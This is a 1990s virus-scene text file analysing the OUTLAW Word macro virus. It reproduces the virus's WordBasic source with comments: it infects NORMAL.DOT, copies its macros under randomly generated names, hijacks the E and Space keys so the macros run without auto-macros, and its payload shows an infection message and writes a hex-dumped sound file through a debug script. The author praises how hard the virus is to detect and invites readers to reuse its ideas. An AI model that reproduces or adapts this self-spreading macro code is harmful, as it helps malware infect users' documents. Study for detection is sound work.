home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / CCTX0497.ZIP / VBBUPDT2.ZIP / VBB-4.ZIP / VBB-4.015 < prev    next >
Text File  |  1997-01-08  |  28KB  |  739 lines

  1.       --------------------------------------------------------------
  2.                 Analysis of a kind of macro virus
  3.               
  4.             OUTLAW (created by Nightmare Joke)
  5.                  ,
  6.          By     <****{=============-
  7.                  ' AuRoDrEpH, the Drow
  8.       --------------------------------------------------------------
  9.  
  10. This virus was very special :
  11.       - no macro (AUTOEXEC, AUTOOPEN or AUTOCLOSE) but it still can infect new files.
  12.         interesting thing, no ??
  13.       - the name of the 3 macros isn't the same on each infection.
  14.  
  15. I think that this type of virus isn't easy to detect, so you can use some good idea     
  16. ***********************************************************************************************
  17. Name of the virus       = OUTLAW
  18. Author            = Nightmare Joker
  19. Origin                = Dutch
  20. Number of macro        = 3
  21. Encrypted        = No
  22. Payload            = play a sound file (.WAV) and print a message on the screen 
  23.                 the 20/01.
  24.               The payload is executed only with WinWord ver 7.0 (Win95)
  25. ***********************************************************************************************
  26.  
  27. Now the source :
  28. ---------------------------------------------------------- 
  29. Macro M8064
  30.  
  31. PURPOSE :    To infected the system
  32.  
  33. Sub MAIN
  34. On Error Goto Done
  35.  
  36. A$ = NomFichier$()
  37. If A$ = "" Then Goto Finish
  38.  
  39. If CheckInstalled = 0 Then
  40.     Routine
  41.     Crypt
  42.     PayloadMakro
  43.     FichierEnregistrerTout 1, 1
  44. Else
  45.     Goto Done
  46. End If
  47.  
  48. Done:
  49. A$ = NomFichier$()
  50. If A$ = "" Then
  51.     Goto Finish
  52. Else
  53.     Insertion " "
  54. End If
  55.  
  56. Finish:
  57. End Sub
  58.  
  59. Sub Crypt
  60. -> sub-program to create the name of the macro number 2 and copy to the NORMAL.DOT
  61.  
  62. One = 7369
  63. Two = 9291
  64. Num = Int(Rnd() * (Two - One) + One)
  65. A$ = Str$(Num)
  66. A$ = LTrim$(A$)
  67.  
  68. Beginn = Heure(Maintenant())
  69. B$ = Str$(Beginn)
  70. B$ = LTrim$(B$)
  71.  
  72. If B$ = "1" Then C$ = "A"
  73. If B$ = "2" Then C$ = "B"
  74. If B$ = "3" Then C$ = "C"
  75. If B$ = "4" Then C$ = "D"
  76. If B$ = "5" Then C$ = "E"
  77. If B$ = "6" Then C$ = "F"
  78. If B$ = "7" Then C$ = "G"
  79. If B$ = "8" Then C$ = "H"
  80. If B$ = "9" Then C$ = "I"
  81. If B$ = "10" Then C$ = "J"
  82. If B$ = "11" Then C$ = "K"
  83. If B$ = "12" Then C$ = "L"
  84. If B$ = "13" Then C$ = "M"
  85. If B$ = "14" Then C$ = "N"
  86. If B$ = "15" Then C$ = "O"
  87. If B$ = "16" Then C$ = "P"
  88. If B$ = "17" Then C$ = "Q"
  89. If B$ = "18" Then C$ = "R"
  90. If B$ = "19" Then C$ = "S"
  91. If B$ = "20" Then C$ = "T"
  92. If B$ = "21" Then C$ = "U"
  93. If B$ = "22" Then C$ = "V"
  94. If B$ = "23" Then C$ = "W"
  95. If B$ = "00" Then C$ = "X"
  96.  
  97. E$ = C$ + A$
  98. ZU$ = LitVarDoc$("VirNameDoc")
  99. PG$ = NomFenΩtre$() + ":" + ZU$
  100. MacroCopie PG$, "Global:" + E$
  101. SetProfileString "Intl", "Name2", E$
  102.  
  103. -> link this macro with the keyboard E... so when the user hit the "E" is launch this macro
  104. OutilsPersonnaliserClavier .CodeTouche = 69, .CatΘgorie = 2, .Nom = E$, .Ajouter, .Contexte = 0
  105. End Sub
  106.  
  107.  
  108. Sub Routine
  109. -> sub-program to create the name of the macro number 1 and copy to the NORMAL.DOT
  110. One = 7369
  111. Two = 9291
  112. Num = Int(Rnd() * (Two - One) + One)
  113. A$ = Str$(Num)
  114. A$ = LTrim$(A$)
  115.  
  116. Beginn = Heure(Maintenant())
  117. B$ = Str$(Beginn)
  118. B$ = LTrim$(B$)
  119.  
  120. If B$ = "1" Then C$ = "A"
  121. If B$ = "2" Then C$ = "B"
  122. If B$ = "3" Then C$ = "C"
  123. If B$ = "4" Then C$ = "D"
  124. If B$ = "5" Then C$ = "E"
  125. If B$ = "6" Then C$ = "F"
  126. If B$ = "7" Then C$ = "G"
  127. If B$ = "8" Then C$ = "H"
  128. If B$ = "9" Then C$ = "I"
  129. If B$ = "10" Then C$ = "J"
  130. If B$ = "11" Then C$ = "K"
  131. If B$ = "12" Then C$ = "L"
  132. If B$ = "13" Then C$ = "M"
  133. If B$ = "14" Then C$ = "N"
  134. If B$ = "15" Then C$ = "O"
  135. If B$ = "16" Then C$ = "P"
  136. If B$ = "17" Then C$ = "Q"
  137. If B$ = "18" Then C$ = "R"
  138. If B$ = "19" Then C$ = "S"
  139. If B$ = "20" Then C$ = "T"
  140. If B$ = "21" Then C$ = "U"
  141. If B$ = "22" Then C$ = "V"
  142. If B$ = "23" Then C$ = "W"
  143. If B$ = "00" Then C$ = "X"
  144.  
  145. D$ = C$ + A$
  146. UZ$ = LitVarDoc$("VirName")
  147. GP$ = NomFenΩtre$() + ":" + UZ$
  148. MacroCopie GP$, "Global:" + D$
  149. SetProfileString "Intl", "Name", D$
  150.  
  151. -> link this macro with the keyboard Space... so when the user hit "Space" is launch this macro
  152. OutilsPersonnaliserClavier .CodeTouche = 32, .CatΘgorie = 2, .Nom = D$, .Ajouter, .Contexte = 0
  153. End Sub
  154.  
  155. Sub PayloadMakro
  156. -> sub-program to create the name of the macro number 3 (payload) and copy to the NORMAL.DOT
  157. One = 7369
  158. Two = 9291
  159. Num = Int(Rnd() * (Two - One) + One)
  160. A$ = Str$(Num)
  161. A$ = LTrim$(A$)
  162.  
  163. Beginn = Heure(Maintenant())
  164. B$ = Str$(Beginn)
  165. B$ = LTrim$(B$)
  166.  
  167. If B$ = "1" Then C$ = "A"
  168. If B$ = "2" Then C$ = "B"
  169. If B$ = "3" Then C$ = "C"
  170. If B$ = "4" Then C$ = "D"
  171. If B$ = "5" Then C$ = "E"
  172. If B$ = "6" Then C$ = "F"
  173. If B$ = "7" Then C$ = "G"
  174. If B$ = "8" Then C$ = "H"
  175. If B$ = "9" Then C$ = "I"
  176. If B$ = "10" Then C$ = "J"
  177. If B$ = "11" Then C$ = "K"
  178. If B$ = "12" Then C$ = "L"
  179. If B$ = "13" Then C$ = "M"
  180. If B$ = "14" Then C$ = "N"
  181. If B$ = "15" Then C$ = "O"
  182. If B$ = "16" Then C$ = "P"
  183. If B$ = "17" Then C$ = "Q"
  184. If B$ = "18" Then C$ = "R"
  185. If B$ = "19" Then C$ = "S"
  186. If B$ = "20" Then C$ = "T"
  187. If B$ = "21" Then C$ = "U"
  188. If B$ = "22" Then C$ = "V"
  189. If B$ = "23" Then C$ = "W"
  190. If B$ = "00" Then C$ = "X"
  191.  
  192. K$ = C$ + A$
  193. ZUZ$ = LitVarDoc$("VirNamePayload")
  194. GP$ = NomFenΩtre$() + ":" + ZUZ$
  195. MacroCopie GP$, "Global:" + K$
  196. SetProfileString "Intl", "Name3", K$
  197. End Sub
  198.  
  199. Function CheckInstalled
  200. -> test if the virus is still install on the NORMAL.DOT
  201.  
  202. CC$ = GetProfileString$("Intl", "Name")
  203.     CheckInstalled = 0
  204.     If CompteMacros(0) > 0 Then
  205.         For i = 1 To CompteMacros(0)
  206.             If NomMacro$(i, 0) = CC$ Then
  207.                 CheckInstalled = 1
  208.             End If
  209.         Next i
  210.     End If
  211. End Function
  212. ----------------------------
  213. Macro M8151
  214.  
  215. PURPOSE :    It is the virus payload (no danger...)
  216.  
  217. Declare Function GetWindowsDirectoryA Lib "Kernel32"(WinDir$, nSize As Long) As Long
  218. Declare Function sndPlaySound Lib "winmm.dll"(pszSoundName As String, uFlags As Long) As Long Alias "sndPlaySoundA"
  219.  
  220. Sub MAIN
  221.     Install
  222.     Insert
  223.     NO$ = GetProfileString$("Intl", "Name")
  224.     NJ$ = NomFichierMacro$(NO$)
  225.     G$ = InfosNomFichier$(NJ$, 5)
  226.     WinDir$ = String$(255, "X")
  227.     N = GetWindowsDirectoryA(WindDir$, 255)
  228.     N = sndPlaySound(G$ + "laugh.wav ", 0)
  229. End Sub
  230.  
  231. Sub Insert
  232. -> To print on the screen a page 
  233. PleinEcran
  234. FenDocAgrandissement
  235. InsertionPara
  236. Insertion Chr$(9) + Chr$(9) + Chr$(9) + Chr$(9) + Chr$(9)
  237. Gras
  238. TaillePolice 18
  239. Insertion "You are infected with"
  240. InsertionPara
  241. InsertionPara
  242. InsertionPara
  243. TaillePolice 72
  244. Insertion Chr$(9) + Chr$(9) + Chr$(9) + Chr$(9) + "Outlaw"
  245. InsertionPara
  246. InsertionPara
  247. TaillePolice 18
  248. Insertion Chr$(9) + Chr$(9) + Chr$(9) + Chr$(9) + "A virus from Nightmare Joker"
  249. End Sub
  250.  
  251. Sub Install
  252. -> To prepare the sound (with the debug)
  253.  
  254. FichierNouveau .ModΦle = "Normal.dot", .NouvModΦle = 1
  255. NO$ = GetProfileString$("Intl", "Name")
  256. NJ$ = NomFichierMacro$(NO$)
  257. G$ = InfosNomFichier$(NJ$, 5)
  258. Open G$ + "laugh.scr" For Output As #1
  259. Print #1, "N LAUGH.COM"
  260. Print #1, "E 0100 52 49 46 46 32 0E 00 00 57 41 56 45 66 6D 74 20"
  261. Print #1, "E 0110 32 00 00 00 22 00 01 00 40 1F 00 00 2B 04 00 00"
  262. Print #1, "E 0120 20 00 01 00 20 00 01 00 F0 00 00 00 00 00 00 00"
  263. Print #1, "E 0130 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
  264. Print #1, "E 0140 00 00 00 00 00 00 66 61 63 74 04 00 00 00 08 68"
  265. Print #1, "E 0150 00 00 64 61 74 61 E0 0D 00 00 9B 59 2B 31 7F 2C"
  266. Print #1, "E 0160 F4 2F 88 48 2E BF 42 88 88 71 C0 B0 DE 7E F9 67"
  267. Print #1, "E 0170 82 49 58 A9 06 00 69 87 5C 19 41 E2 D2 75 FF FF"
  268. Print #1, "E 0180 FF 0F 55 15 55 25 00 00 00 00 10 8B 08 0A B0 4B"
  269. Print #1, "E 0190 B1 88 A0 37 B0 05 A0 37 00 44 99 D1 D1 4C FF CF"
  270. Print #1, "E 01A0 0D 2C 00 80 BF B4 A8 06 92 7A 20 E1 23 58 29 D5"
  271. Print #1, "E 01B0 A3 BD 1B A4 09 A9 3B C8 1D 50 95 5C D1 55 7F 62"
  272. Print #1, "E 01C0 32 46 12 EA CE 57 2A 44 AA 19 0C 97 26 6F 8A D0"
  273. Print #1, "E 01D0 98 A6 8D BB E9 79 DB 70 89 D1 9D 3C DB BC 1E 4F"
  274. Print #1, "E 01E0 B0 45 DC 2A 28 C9 FB BE 0A 5D 9C 11 39 8D 3F AF"
  275. Print #1, "E 01F0 F2 E6 7B 49 63 07 DD 24 B0 BA DF D3 E2 B8 A7 F0"
  276. Print #1, "E 0200 EF 44 A7 BA 22 C5 77 2A 57 57 0C 9F E6 30 DD 9A"
  277. Print #1, "E 0210 CC 82 3E F4 CC 81 DC 88 C2 B3 1F 44 DB 94 A9 2E"
  278. Print #1, "E 0220 E6 46 22 5D EF 1F 17 1D 9B 52 BE D9 91 F9 DC AF"
  279. Print #1, "E 0230 B9 83 AC 0D 2C 86 6F E9 04 93 D9 5C 4A 9A AD 40"
  280. Print #1, "E 0240 32 59 20 D2 5E 0D 8C 66 C8 55 1D 91 43 3A 6D FF"
  281. Print #1, "E 0250 E0 EB CC D5 D8 34 4C ED 0D 57 1F 64 59 D5 47 D1"
  282. Print #1, "E 0260 FF 57 63 2A 0A 99 6E 6A 77 65 1E 58 AD 3A 6F 8C"
  283. Print #1, "E 0270 62 25 EE 43 C8 47 5D 7E 71 66 9F 6B C2 99 C5 1A"
  284. Print #1, "E 0280 30 4C F5 1A C0 DD 08 BD 36 40 7D 63 9E 63 9E 31"
  285. Print #1, "E 0290 30 81 8D C1 70 AD BD A8 F0 9F 1B 64 CA B9 CC 12"
  286. Print #1, "E 02A0 1B 48 88 7A 9F 92 3B 9F 28 45 BF B1 81 CB AE 8E"
  287. Print #1, "E 02B0 DD A7 2C 75 65 27 5D 76 19 E3 DF EB C9 B9 23 D8"
  288. Print #1, "E 02C0 89 41 FE E9 C1 96 20 67 35 40 9D 11 76 08 AD A3"
  289. Print #1, "E 02D0 4C EE 1E E7 90 72 4E 96 46 8A DB EB E2 B9 5E 51"
  290. Print #1, "E 02E0 92 48 C8 3D E2 52 75 A2 85 44 2D BB DB D1 CF D9"
  291. Print #1, "E 02F0 29 FD BE A4 2E 81 EE 28 66 1B DD EB C2 BD 69 59"
  292. Print #1, "E 0300 6C 45 C2 C6 F7 2B 86 3F 00 4F 9F 9D 08 8B FE 05"
  293. Print #1, "E 0310 76 DC AD E3 5B 1B BE 93 78 40 61 6C 32 B9 AE 7F"
  294. Print #1, "E 0320 CD 4C 27 48 6B B2 D1 F5 4D 6F 2F DA 51 4B 0F 42"
  295. Print #1, "E 0330 B9 BA 5E B4 72 02 6E 73 70 4D DD E3 CA BD 47 A5"
  296. Print #1, "E 0340 13 56 E9 BF C6 10 55 97 CA 55 DF E7 79 7B AF 8A"
  297. Print #1, "E 0350 C4 64 3F 99 24 A2 8F 9F 6D 3C DB 5B D3 79 30 D2"
  298. Print #1, "E 0360 7B 3C 7D 7D 75 BD 5D 2A E0 7E 4F 18 A9 E9 4F F7"
  299. Print #1, "E 0370 BC FD 4F 03 86 1D 5F E4 6C 66 E3 52 A9 75 D9 BB"
  300. Print #1, "E 0380 52 7B FA DF DF B7 A9 0D C9 78 2F 5B A2 F7 3F 8E"
  301. Print #1, "E 0390 82 A0 BF 8B 36 47 6F B2 ED B1 67 E2 39 91 B5 13"
  302. Print #1, "E 03A0 AA 4B F5 D5 2F A4 44 8D E7 5F 7E 62 BE 1E DF 89"
  303. Print #1, "E 03B0 C6 44 4F 23 A9 25 5F B6 11 68 A1 DA B9 78 2B 22"
  304. Print #1, "E 03C0 2A 66 E9 7D 5D 35 86 9F 61 75 AF 68 75 26 9E D9"
  305. Print #1, "E 03D0 DB C0 6F E4 E2 D7 AE 47 F9 20 9F 62 4A 55 8F E0"
  306. Print #1, "E 03E0 5F 0B 9B 7D 57 47 DF CE 57 35 7E ED E1 96 4D 71"
  307. Print #1, "E 03F0 43 56 CD 6F 68 A2 7C 24 80 78 61 E4 32 B5 12 54"
  308. Print #1, "E 0400 0B 63 33 7D 6C C7 C7 06 C0 5F BC 29 6E BE AD 6A"
  309. Print #1, "E 0410 C0 17 DD 5F EC B3 5D F7 F2 41 21 64 BA AD 76 3E"
  310. Print #1, "E 0420 51 70 F9 05 CA 1F 77 C1 19 39 BD 87 D2 89 2E 50"
  311. Print #1, "E 0430 1D B4 0C A2 0C 75 0D 49 89 E7 DD E3 C9 99 CE 4E"
  312. Print #1, "E 0440 0F 76 82 2E ED 13 4B B5 50 6F 5E 92 36 01 4D F1"
  313. Print #1, "E 0450 02 B6 9C 29 10 63 AD AF 03 35 9B EB 4A 7A 4E 87"
  314. Print #1, "E 0460 16 39 24 C8 FD 77 08 87 2E 65 BE BD F3 29 9C D9"
  315. Print #1, "E 0470 94 58 3D D2 B5 5A 0D 62 BD DE DB 73 5A 7A 2B 22"
  316. Print #1, "E 0480 3F 08 53 FD 57 A3 29 AA 7E 4F 0C 7A 08 A8 5D 87"
  317. Print #1, "E 0490 78 17 BD 2D 1A 85 FC FE A3 03 5D E3 49 95 FB 6C"
  318. Print #1, "E 04A0 2C 79 96 6E AE 52 2E 10 01 3A 1D 86 F3 A7 8D 43"
  319. Print #1, "E 04B0 88 AB FD 7B 45 18 2D E2 1D C8 DF 5B C2 75 C5 12"
  320. Print #1, "E 04C0 6C 45 1A 5B E3 5B B5 68 05 4F DC 69 8A 40 9D 87"
  321. Print #1, "E 04D0 CB F8 DD 8B 3E 0A AC AE 5D 12 DF 6B 49 B5 44 4C"
  322. Print #1, "E 04E0 53 4E 3D 02 A6 B8 72 AF F5 7E 4D A1 C1 2B 5E 1A"
  323. Print #1, "E 04F0 86 F4 9D D7 AB D8 EC E3 A5 59 9D 43 42 6D C4 FF"
  324. Print #1, "E 0500 DF 05 69 8D A7 CD AF 49 55 05 3C 3C 23 9C 9C 87"
  325. Print #1, "E 0510 B8 17 3E 20 FA 5E BF 4C 7E EA 23 D3 D9 54 AE D6"
  326. Print #1, "E 0520 A8 15 5F DF 7F 4D D7 55 FF 1F CF 61 41 02 8F E7"
  327. Print #1, "E 0530 35 0E 1F 6C 1B 99 7F E6 A5 05 21 DB 53 B5 43 E4"
  328. Print #1, "E 0540 A9 18 D7 F7 D7 5D DD DF 5D 1D DF 34 76 27 8F BC"
  329. Print #1, "E 0550 00 01 8F CF 02 E6 0F 26 23 23 A1 E2 52 95 A9 16"
  330. Print #1, "E 0560 03 18 D5 5D FD 77 FF DF 5D 15 EF 34 A2 03 0F E8"
  331. Print #1, "E 0570 75 D6 8F 0F 4A B9 DF 81 99 35 E3 5A 4A 75 8B D6"
  332. Print #1, "E 0580 30 1C F7 DF D7 9D 75 DF 7D 15 BF F2 B5 83 BF 68"
  333. Print #1, "E 0590 F2 29 3F FF 30 01 6F 66 EA DA 9D CA 39 51 AA 58"
  334. Print #1, "E 05A0 F2 15 5D D5 5D FD FF 55 7F 15 9F 76 2D 12 EF 3A"
  335. Print #1, "E 05B0 68 7D DF 0A 0B B4 8F EB F8 AF 17 52 C1 6C 91 77"
  336. Print #1, "E 05C0 52 29 55 5D DF 4F F5 5D DD 2F 3F 2B 8E 88 8F 35"
  337. Print #1, "E 05D0 D4 3F FF E1 F3 27 EF A2 06 2A DF 5A C9 50 B5 D8"
  338. Print #1, "E 05E0 63 35 F3 DD 4C 87 F7 D1 59 37 DF 64 79 A4 CF 95"
  339. Print #1, "E 05F0 F0 57 2E 3C B6 DC 8E 0D 1E 2D 61 53 C2 34 31 C1"
  340. Print #1, "E 0600 4A 19 4E FA 42 6B D7 7A 62 2F 8F 9A 92 E6 5F BE"
  341. Print #1, "E 0610 71 05 4E FF 38 C4 4E DD D9 1D 21 63 5A 51 12 E5"
  342. Print #1, "E 0620 3C 29 5B 17 CB EF 5D DF DF 2C 4E 42 7A 71 BE FC"
  343. Print #1, "E 0630 EB 1A CE 38 FC D6 FE CD E4 22 23 D3 5A 95 FA 98"
  344. Print #1, "E 0640 92 66 FD BE E0 93 22 50 A8 46 BE FE 48 F0 CF 22"
  345. Print #1, "E 0650 3E CB 2F AC 5A EA 0F EC 43 E3 DB D2 B9 54 AB 64"
  346. Print #1, "E 0660 D2 7E FD B7 E8 8D 72 89 0E 18 1E EA 43 B0 3E 55"
  347. Print #1, "E 0670 01 D3 EE FD 19 2A EE AF 52 93 E3 D2 CA 94 0B 85"
  348. Print #1, "E 0680 0E 3A 7F CB 5F BD F7 D5 D7 45 AF 72 9D 46 7F E1"
  349. Print #1, "E 0690 CC 38 7F F5 4D E5 0F C0 25 F1 E3 DA C1 94 C7 21"
  350. Print #1, "E 06A0 F2 15 D7 DF DF AF 5D 5F 55 15 DF C5 CC FA 9F 0D"
  351. Print #1, "E 06B0 9C 23 BF 86 BE 25 9F 72 EB FC A5 52 42 95 29 64"
  352. Print #1, "E 06C0 4A 16 5F 7F FD D5 DF FD 7F 17 6F BF D5 53 BF 91"
  353. Print #1, "E 06D0 41 12 5F 6E 8A 98 FF F7 92 EF E3 DA 42 79 48 DF"
  354. Print #1, "E 06E0 4B 16 D7 77 F7 15 7F 5F D7 5F 7F 2B A0 F6 3F DA"
  355. Print #1, "E 06F0 D3 57 EF B8 80 B9 0F AE 64 A9 DD C2 41 51 C9 23"
  356. Print #1, "E 0700 21 1B F7 5F 5F 27 77 D7 F7 25 4F E7 60 9A 8F D5"
  357. Print #1, "E 0710 A5 A2 5F 50 A1 D7 8F 09 C4 ED 4F 3A 2A 75 C0 8B"
  358. Print #1, "E 0720 04 25 D9 77 DD 55 CF 8E 6F 25 7F 55 5E 53 2F A6"
  359. Print #1, "E 0730 76 13 4F DE ED E1 AF 21 7C 1C D9 52 2A 71 29 D4"
  360. Print #1, "E 0740 E9 2F 92 0D 57 1F B5 09 98 4F 0F 1A 5B 4C 7E 10"
  361. Print #1, "E 0750 DC AA DF 24 28 EF 5F CB ED 94 9F DA 42 99 C9 27"
  362. Print #1, "E 0760 31 28 DF 7F FD F6 5F 4A A0 6F 0E 89 C1 BD 9E 10"
  363. Print #1, "E 0770 3A 07 9E FD 12 F8 0E A0 A9 49 25 63 B2 51 17 41"
  364. Print #1, "E 0780 52 4C 1C EF FF EF 0A 4B 7D 45 FE B7 5B 46 2E 25"
  365. Print #1, "E 0790 22 4B 7F DB 03 1A EE 68 5C 60 E1 4A D2 54 C4 ED"
  366. Print #1, "E 07A0 26 76 03 AE 42 6F 66 77 29 79 2F 94 C1 CD AF 04"
  367. Print #1, "E 07B0 99 B4 7E 71 0C 1A BF 5D DE FD E1 D2 CA 75 77 8F"
  368. Print #1, "E 07C0 8A 24 5F 7D DD 6F 7D 5D DF 25 4F FC 5C DA 3F 92"
  369. Print #1, "E 07D0 55 F7 BF 08 8E 89 7F 05 BE 0C 63 63 3A 75 DE D6"
  370. Print #1, "E 07E0 2F 25 75 DD F7 2F FF 7F F7 25 3F 06 06 64 8F 33"
  371. Print #1, "E 07F0 FA BF 6F 5E 14 6D CF A3 0E 27 A3 D3 32 95 AF 5A"
  372. Print #1, "E 0800 EB 25 DD D5 7D 57 FF DF FD 2D 7F 53 86 CB 9F 6C"
  373. Print #1, "E 0810 65 DD AF 32 7E 13 DF 68 6D 0E 23 D3 CA 74 09 5D"
  374. Print #1, "E 0820 2B 27 55 D5 F7 6D F7 77 F7 27 6F A4 D9 04 CF 4A"
  375. Print #1, "E 0830 F5 81 8F 52 CE 81 CF 6A C2 04 1B 63 2A 31 4A F8"
  376. Print #1, "E 0840 8A 24 57 F5 75 FF 55 FF F5 1F DF 6A 70 23 BF 3E"
  377. Print #1, "E 0850 B8 80 5F EF 40 A2 CF 6F 98 39 53 32 39 71 49 AD"
  378. Print #1, "E 0860 5D 2E 57 57 49 1F 80 CB F5 37 7F DE 49 56 6F AE"
  379. Print #1, "E 0870 3A 02 CF 7A E3 30 DE CC B4 99 61 E3 C9 74 17 D2"
  380. Print #1, "E 0880 5F 72 F3 5D EF 95 5F B7 8A 6F FF A3 20 03 5E 52"
  381. Print #1, "E 0890 D2 94 2E A4 95 22 4F 1D 4C 92 DF 5A C3 70 4A D8"
  382. Print #1, "E 08A0 22 56 CA ED 6A 45 47 F7 87 2B 3E 67 A9 0D EE 9E"
  383. Print #1, "E 08B0 D4 79 FE 52 00 66 7E 6B 76 AE E3 5B 3A 95 76 20"
  384. Print #1, "E 08C0 FF 5E AA 3C 26 B2 3D 5F 3F 7B BF 6D DE 8E EE 84"
  385. Print #1, "E 08D0 84 D3 DE 44 B4 0D BE 5A E4 F5 5D 53 B2 70 76 12"
  386. Print #1, "E 08E0 31 29 FD 20 63 FD AD 57 AF 44 4E 26 FD AB 5E 65"
  387. Print #1, "E 08F0 18 85 2E C9 B2 1F DE 00 FA 29 5D E3 B2 95 8E 53"
  388. Print #1, "E 0900 64 24 F9 C7 F7 6F 7F 77 5F 15 9E E5 CA 19 AD 4E"
  389. Print #1, "E 0910 7E DA 8F 82 96 F5 7F 06 76 08 A3 62 CC B8 EF 93"
  390. Print #1, "E 0920 B0 18 57 77 FD FD 7F D5 FD 0F 7F 5D C6 7C 3F 88"
  391. Print #1, "E 0930 4C 8A CF 3E 70 0F 9F 90 C4 1C E3 DA 54 99 23 57"
  392. Print #1, "E 0940 6C 3F 7D DD 5F 07 57 DD 7F 1F 9F DC 64 94 5F 88"
  393. Print #1, "E 0950 AB 9E CF 45 DC 11 7F A2 A3 5E 25 DB 42 D9 A1 1A"
  394. Print #1, "E 0960 64 18 F5 F7 77 6D DF FD DF 17 4F 67 6C 3D 8F 21"
  395. Print #1, "E 0970 9B 11 0F 50 B6 AC 4F 79 7E 5C E7 5A BB B9 3D A1"
  396. Print #1, "E 0980 EE 14 FF 57 FD B5 FF 77 5F 5F 6F 4E 02 61 DF 72"
  397. Print #1, "E 0990 36 C3 1F 8E 08 BF 7F B7 BA 15 A5 5B C2 94 5B B3"
  398. Print #1, "E 09A0 F0 65 F7 DD FD A5 75 DF FD 1D 7F 61 DA 55 EF 29"
  399. Print #1, "E 09B0 B4 70 2F 2F CB 62 9F ED 5D F8 21 6B CA 71 8C 0B"
  400. Print #1, "E 09C0 6C 53 FD D5 57 75 D7 DF DF 7D 4F 1A 8B F0 0F AD"
  401. Print #1, "E 09D0 31 CF 7F DA 68 99 FF 86 0C BB 21 D3 A1 70 C1 18"
  402. Print #1, "E 09E0 71 75 FF 75 E6 B1 5B 9F 71 75 8F BF A4 D2 BF 46"
  403. Print #1, "E 09F0 F9 32 3F 54 98 1B 7F 6B 26 09 A1 62 54 95 92 D5"
  404. Print #1, "E 0A00 73 55 DD BF 80 CB AE 9F 2B 2F 7F E5 95 F2 0F 9A"
  405. Print #1, "E 0A10 BD BD DF 7F 83 F6 7F 64 D6 11 21 E3 BA 98 31 18"
  406. Print #1, "E 0A20 26 76 FC D7 CF 1D AB 89 F6 1F CE 28 FD 13 3E 32"
  407. Print #1, "E 0A30 DB 9E BF CD DD 5B 3E 70 76 AE A3 5A CB 70 F6 23"
  408. Print #1, "E 0A40 11 56 C8 B3 6A C4 FE F5 7F 37 6F C7 32 CB DF 5A"
  409. Print #1, "E 0A50 8B C8 BE 4E 64 A4 4E FA AD F5 61 DB 32 95 9B 5A"
  410. Print #1, "E 0A60 2D 26 5C 7F E6 36 E8 AE A3 28 7E 71 98 9C 9F 7C"
  411. Print #1, "E 0A70 3B 64 BF 7B 8A 03 5E 89 6B 02 DF D2 B1 90 C9 20"
  412. Print #1, "E 0A80 F1 22 54 26 EB BD 82 0B 02 1F BE FB 33 1D DE F1"
  413. Print #1, "E 0A90 3B 85 CE 47 B8 38 1E E1 E9 C3 23 63 43 91 A4 8E"
  414. Print #1, "E 0AA0 1D 56 A8 2D 30 AB 9A 7D 9F 5D 5F 66 60 88 8F 5F"
  415. Print #1, "E 0AB0 F9 7D 6F 53 34 14 2E 72 0D D1 5F 6B B2 94 C9 14"
  416. Print #1, "E 0AC0 B2 55 FF FF 3F 49 7D DD DD 2D 2E 8A CE E2 7F AF"
  417. Print #1, "E 0AD0 96 87 4F 2C 15 9B 0F 65 C2 1E 65 EB 3A B5 70 BD"
  418. Print #1, "E 0AE0 AB 58 77 D7 D7 0D D5 75 FF 2F 0F 0C 99 C7 9F D6"
  419. Print #1, "E 0AF0 E5 D3 6F 76 F2 E5 FF 6A 54 5F A3 5B 3B 99 27 63"
  420. Print #1, "E 0B00 0A 2D 57 FF DD 7F DD D7 FF 55 BF EA 7A 00 3F CA"
  421. Print #1, "E 0B10 09 5A CF F0 25 30 AF AC 1E 42 61 EB 33 99 29 E0"
  422. Print #1, "E 0B20 45 29 F5 F7 F7 3D 77 7F FD 65 DF A4 1E 9C CF A0"
  423. Print #1, "E 0B30 CE 37 2F 0F E4 C7 1F 60 AA 2D E1 EB C2 99 1F 59"
  424. Print #1, "E 0B40 EB 68 F5 DD 77 E7 F5 FF F5 2F BF 58 56 30 7F 9A"
  425. Print #1, "E 0B50 6E 1E 0F 47 98 2F DF 22 28 9B 61 E3 C3 B9 83 5A"
  426. Print #1, "E 0B60 AD 35 57 1F 62 1D 57 7F 5D 35 FF 51 5C 32 8F 87"
  427. Print #1, "E 0B70 FC 76 BF 4F 28 7E 6F 5A C5 09 5F F3 C9 9D 9C 27"
  428. Print #1, "E 0B80 61 73 7F DD FF A7 D8 DD D7 2D 4F DB 9C 06 1F 10"
  429. Print #1, "E 0B90 F0 10 2F 3E 62 0F 2F 08 61 EB 61 6B B2 B9 2E D7"
  430. Print #1, "E 0BA0 20 39 DF F7 75 B6 F5 D7 DD 3F 6F A4 08 DD 1F 69"
  431. Print #1, "E 0BB0 A6 66 6F CF 53 1E DF 8F 04 E5 1D 6B 5B 75 2F 61"
  432. Print #1, "E 0BC0 8D 38 DD 7F 55 9D 7E 9F 8D 34 FF 21 0A B1 AF 07"
  433. Print #1, "E 0BD0 6E 36 0F A2 CA 57 8F A4 01 84 E1 63 33 BD BC 54"
  434. Print #1, "E 0BE0 56 3B 5D FF FF CD 55 F7 CB 3E 9F 1A 00 F5 1F 2D"
  435. Print #1, "E 0BF0 73 0A 1F B0 BE 30 2F F6 BA EC 23 64 33 DD C0 1E"
  436. Print #1, "E 0C00 F0 39 15 7F D5 DC F7 9F FB 37 6F 9D 62 6C 4F A5"
  437. Print #1, "E 0C10 5D 28 BF 03 73 B9 AF 33 F8 98 61 EC 41 99 AA D2"
  438. Print #1, "E 0C20 89 34 B6 75 5F 06 E2 3D 63 4E 1F 4E 23 F9 EF 4B"
  439. Print #1, "E 0C30 6E CB 5F 87 B0 88 4F 26 42 E2 1F E4 B2 BD C9 E2"
  440. Print #1, "E 0C40 9F 33 5D EE C8 E4 BB 7F 05 5D 1F 22 79 F3 1F B0"
  441. Print #1, "E 0C50 D6 DD 8F 0F 4C 8F 2F 8C 66 92 9F 6B B4 BD 7C B1"
  442. Print #1, "E 0C60 C7 46 EE 84 E3 4D FF 91 6A 4A 8F 1E 02 01 2F 1C"
  443. Print #1, "E 0C70 80 DF CF D3 1B 05 9F 86 5A 09 1F 6C 51 DA 2B 7E"
  444. Print #1, "E 0C80 8D 50 5D 55 C4 8F 9F AB 2A 79 9F B6 C2 CE 0E 26"
  445. Print #1, "E 0C90 81 89 9F 9B DE 73 1F 90 EE 9B DF DC 3A BE 42 A1"
